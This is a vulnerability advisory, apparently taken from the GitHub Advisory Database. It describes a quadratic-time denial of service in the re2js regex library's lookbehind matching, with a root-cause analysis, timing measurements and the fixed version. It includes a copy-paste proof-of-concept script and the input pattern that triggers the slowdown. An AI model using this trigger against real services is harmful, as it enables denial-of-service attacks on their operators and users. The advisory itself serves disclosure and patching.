re2js
Affected
- introduced
2.2.0, fixed2.8.7(semver)
Fixed versions
2.8.7
Fix
- Fixed version
2.8.7npm install [email protected]
Advisory
Also known as: CVE-2026-116795
RE2JS: Quadratic-time denial of service in re2js lookbehind matching
Summary
Using the opt-in LOOKBEHINDS flag together with any repeated-matching API
(matcher().find() in a loop, matchAll(), split(), matcher().replaceAll())
causes quadratic-time (Θ(n²)) matching, contradicting the library's own
"linear time matching" guarantee. A single call with a 16,000-character input
takes 36.7–38.7 seconds of CPU.
Description
Root cause
In build/index.cjs, Machine.match:
let currentPos = this.prog.numLb > 0 ? 0 : pos; // ~line 1907
...
if (this.ncap === 0 && this.matched) break; // ~line 1953
Any pattern containing a lookbehind sets prog.numLb > 0, which forces the
scan to always restart at offset 0, regardless of the requested start
position — the lookbehind automaton is re-seeded and the whole input is
re-walked on every single find() call. The early-exit optimization that
would otherwise stop at the first match only fires when ncap === 0, but
every Matcher-based API (find/matchAll/split/replaceAll) always
requests ncap = 2 (one capture group slot) **even for a captureless
lookbehind pattern** — so the early exit never triggers through those APIs,
and the scan continues to the end of the input on every find.
A find-loop over *k* matches in an *n*-character string therefore costs
*k* × Θ(*n*); for dense matches *k* ∝ *n*, giving Θ(n²) total.
Isolating control
Identical find-loop, identical input sizes, same 2-character literal pattern
*shape* — but without the LOOKBEHINDS flag:
| n | with LOOKBEHINDS (lookbehind pattern) | without (plain literal) | native JS RegExp lookbehind |
|---|---|---|---|
| 2,000 | 204–228 ms | 3 ms | 0 ms |
| 4,000 | 877–899 ms | 4 ms | 0 ms |
| 8,000 | 5,746–6,599 ms | 7 ms | 1 ms |
| 16,000 | 36,667–38,732 ms | 6 ms | 1 ms |
This isolates the lookbehind machinery itself — not pattern length, not
match density in the abstract — as the exact and sole cause.
Impact
re2js's entire value proposition is being an RE2-style engine with linear-time, no-backtracking matching, specifically to resist algorithmic-complexity attacks that plague backtracking regex engines. This finding defeats that guarantee for any consumer using the advertised LOOKBEHINDS feature.matchAll, split, replaceAll are the natural APIs for exactly this), applied to attacker-influenced text (user input, uploaded logs, scraped content)."abababab...") triggers it.Reproduction (copy-paste runnable)
create file poc.js
'use strict';
// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).
// Usage:
// npm pack [email protected] --ignore-scripts && tar -xzf re2js-2.8.6.tgz
// node poc.js ./package
const path = require('path');
const pkgDir = process.argv[2] || './package';
const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));
const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS);
function timeFindLoop(n) {
const s = 'ab'.repeat(n / 2);
const t0 = Date.now();
const m = re.matcher(s);
let count = 0;
while (m.find()) count++;
return { ms: Date.now() - t0, count };
}
console.log('n, matches, ms');
const sizes = [2000, 4000, 8000, 16000];
const results = [];
for (const n of sizes) {
const r = timeFindLoop(n);
results.push(r.ms);
console.log(`${n}, ${r.count}, ${r.ms}`);
}
const ratio = results[results.length - 1] / results[results.length - 2];
console.log('');
console.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 => linear, ~4 => quadratic)');
console.log(ratio > 3 ? 'PASS quadratic scaling confirmed on the REAL published package' : 'FAIL scaling looks linear');
process.exit(ratio > 3 ? 0 : 1);
and run in terminal
npm pack [email protected] --ignore-scripts
tar -xzf re2js-2.8.6.tgz
node poc.js ./package
poc.js times a matcher(s).find() loop over (?<=a)b +RE2JS.LOOKBEHINDS on inputs of 2,000/4,000/8,000/16,000 chars and reports
the doubling ratio. Expected: clearly superlinear (ratio ≫ 2, approaching or
exceeding the 4× quadratic signature), reaching tens of seconds at 16,000
chars. Run twice; results are deterministic.
High Basis: The source's own band: HIGH
2.2.0, fixed 2.8.7 (semver)2.8.7
2.8.7npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0